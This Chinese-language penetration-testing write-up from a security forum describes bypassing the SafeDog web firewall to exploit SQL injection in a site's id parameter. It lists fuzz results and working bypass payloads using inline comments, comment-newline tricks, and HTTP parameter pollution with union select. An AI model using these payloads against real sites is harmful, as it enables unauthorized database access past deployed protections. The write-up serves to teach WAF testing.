在实际的渗透过程中,遇到目标存在waf的情况还是比较多的,本文记录了在一次实战中bypass安全狗进行注入的一些方法。
0x00 发现漏洞
拿到目标后,在主页到处看看功能点,同时看看url特征,发现一个后缀/about.php?id=1,简直就是标准的SQL注入,加个单引号报错。
看特征明显是数字型注入,使用"and 1=1"和"and 1=2"测试一下,存在安全狗,直接被拦。
接下来就是想办法绕过,掏出之前4.0版本记录的绕过方法,看官网已经升级到5.0了,但是之前的某些方法应该还是有用的。
0x01 bypass安全狗
绕过and 1=1的拦截
首先fuzz一下and 1=1的拦截情况
and //不拦截
and 1 //拦截
and 1=1 //拦截
and -1=-1 //拦截
%26 1=1 //拦截
后面两种方法,是我在4.0版本的时候用来绕过的,看来是不行了。可以看到and之后不带参数的时候,是没有拦截的,说明检测的不是and,而是and后面的数字。最后我是使用内联注释把后面的数字-1包裹,成功绕过。(但是内联注释包裹1也是不行的)
?id=1 and /*!-1*/=-1
正常返回
?id=1 and /*!-1*/=-2
返回错误
绕过order by的拦截
同样,fuzz一下order by在什么情况下会被拦截
order //不拦截
by//不拦截
order by //不拦截
order by 10 //拦截
发现在order by后面带数字的时候才会被拦截,也就是说并不是单纯的检测order by这个,这里绕过的办法有几种,首先想到的就是跟上面一样使用内联注释。
1、内联注释绕过
?id=1 /*!order*/ by 10
?id=1 order /*!by*/ 10
?id=1 order by /*!10*/
测试发现,上面三种方式都不会被拦截,所以猜测检测方式应该是要同时检测到这三个整体出现,才会被拦截。
之后修改后面数字,爆出字段为3
order by /*!3*/ //返回正常
order by /*!4*/ //返回错误
2、注释换行绕过
order%23%0aby 3 //%23为注释符#,%0a为换行符
order%23%0aby 4
绕过union select拦截
fuzz结果如下
union//不拦截
select //不拦截
union select //拦截
这里同样是union select同时出现才会拦截,这里我是测试了注释换行和内联注释,都没办法绕过。最后,是使用了HTTP参数污染加注释进行的绕过。
payload:
?id=1 /*&id=-1 union select 1,2,3%23*/
可以看到这里是成功绕过,并且2和3位置有回显,接下来只需要将对应位置改为要注入的数据即可。
user()和database()
后面的过程只需要修改第2个id的值,就和正常的注入是一样的情况,就不多说了。
0x02 总结
在最后测试完成后,发现前面的几种方法不是任何情况都能用的,而最后使用的HTTP参数污染加注释绕过的方法,其实完全可以在上面测试中的所有情况下使用。所以其实就这一个方法就可以满足这次的渗透绕过,不过我还是把整个测试的过程记录下来,作为一个参考。
- 本文作者: Cl0wnkey
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/571
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!